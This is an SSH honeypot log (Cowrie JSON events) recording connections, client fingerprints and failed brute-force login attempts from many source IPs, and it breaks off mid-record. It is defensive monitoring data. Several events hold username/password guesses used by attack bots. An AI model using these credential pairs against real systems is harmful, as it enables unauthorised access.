{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":45830,"dst_ip":"159.203.135.109","dst_port":22,"session":"b93c0b9ad304","protocol":"ssh","message":"New connection: 103.98.149.87:45830 (159.203.135.109:22) [session: b93c0b9ad304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:39.148942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:39.265117Z","src_ip":"103.98.149.87","session":"b93c0b9ad304","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:39.417831Z","src_ip":"103.98.149.87","session":"b93c0b9ad304","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.17.27","src_port":60754,"dst_ip":"159.203.135.109","dst_port":22,"session":"84d2074cec0b","protocol":"ssh","message":"New connection: 43.156.17.27:60754 (159.203.135.109:22) [session: 84d2074cec0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:40.329978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:40.334496Z","src_ip":"43.156.17.27","session":"84d2074cec0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:40.575659Z","src_ip":"43.156.17.27","session":"84d2074cec0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:41.277683Z","src_ip":"103.98.149.87","session":"b93c0b9ad304","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qa123456789","message":"login attempt [root/Qa123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:41.558855Z","src_ip":"43.156.17.27","session":"84d2074cec0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:42.522889Z","src_ip":"103.98.149.87","session":"b93c0b9ad304","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:42.800659Z","src_ip":"43.156.17.27","session":"84d2074cec0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":38318,"dst_ip":"159.203.135.109","dst_port":22,"session":"af227bc04f5c","protocol":"ssh","message":"New connection: 193.32.162.151:38318 (159.203.135.109:22) [session: af227bc04f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:43.367380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:43.371606Z","src_ip":"193.32.162.151","session":"af227bc04f5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:43.472830Z","src_ip":"193.32.162.151","session":"af227bc04f5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"khe01","password":"khe01","message":"login attempt [khe01/khe01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:43.807883Z","src_ip":"193.32.162.151","session":"af227bc04f5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:44.914968Z","src_ip":"193.32.162.151","session":"af227bc04f5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":42540,"dst_ip":"159.203.135.109","dst_port":22,"session":"0046c79656d6","protocol":"ssh","message":"New connection: 165.154.227.158:42540 (159.203.135.109:22) [session: 0046c79656d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:52.817706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:52.822603Z","src_ip":"165.154.227.158","session":"0046c79656d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:53.038931Z","src_ip":"165.154.227.158","session":"0046c79656d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0Rd","message":"login attempt [root/P@ssw0Rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:53.933176Z","src_ip":"165.154.227.158","session":"0046c79656d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.57154321670532,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:54.930103Z","src_ip":"192.119.13.58","session":"84b022703069","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:55.151964Z","src_ip":"165.154.227.158","session":"0046c79656d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":48480,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3ff01936008","protocol":"ssh","message":"New connection: 103.75.182.198:48480 (159.203.135.109:22) [session: c3ff01936008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:55.544317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:55.551942Z","src_ip":"103.75.182.198","session":"c3ff01936008","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:55.802473Z","src_ip":"103.75.182.198","session":"c3ff01936008","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"funtdenis","message":"login attempt [root/funtdenis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:56.563422Z","src_ip":"103.75.182.198","session":"c3ff01936008","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:12:57.816195Z","src_ip":"103.75.182.198","session":"c3ff01936008","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.115.61","src_port":49570,"dst_ip":"10.17.0.5","dst_port":22,"session":"df97ca0fbb37","protocol":"ssh","message":"New connection: 170.106.115.61:49570 (10.17.0.5:22) [session: df97ca0fbb37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:13:02.538109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:13:02.545272Z","src_ip":"170.106.115.61","session":"df97ca0fbb37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:13:02.616379Z","src_ip":"170.106.115.61","session":"df97ca0fbb37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2023","message":"login attempt [root/P@ssw0rd2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:13:02.945939Z","src_ip":"170.106.115.61","session":"df97ca0fbb37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:13:04.019134Z","src_ip":"170.106.115.61","session":"df97ca0fbb37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":34666,"dst_ip":"10.17.0.5","dst_port":22,"session":"f94617d42e50","protocol":"ssh","message":"New connection: 194.59.206.2:34666 (10.17.0.5:22) [session: f94617d42e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:13:27.297527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:13:27.310858Z","src_ip":"194.59.206.2","session":"f94617d42e50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:13:27.401239Z","src_ip":"194.59.206.2","session":"f94617d42e50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:13:27.496935Z","src_ip":"194.59.206.2","session":"f94617d42e50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.17.27","src_port":55404,"dst_ip":"159.203.135.109","dst_port":22,"session":"21a673949828","protocol":"ssh","message":"New connection: 43.156.17.27:55404 (159.203.135.109:22) [session: 21a673949828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:13:54.260857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:13:54.265993Z","src_ip":"43.156.17.27","session":"21a673949828","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:13:54.505342Z","src_ip":"43.156.17.27","session":"21a673949828","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu","message":"login attempt [ubuntu/Ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:13:55.493508Z","src_ip":"43.156.17.27","session":"21a673949828","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:13:56.737394Z","src_ip":"43.156.17.27","session":"21a673949828","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":48450,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bc6bcdd1800","protocol":"ssh","message":"New connection: 185.236.22.41:48450 (159.203.135.109:22) [session: 9bc6bcdd1800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:13:58.528444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:13:58.547700Z","src_ip":"185.236.22.41","session":"9bc6bcdd1800","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v0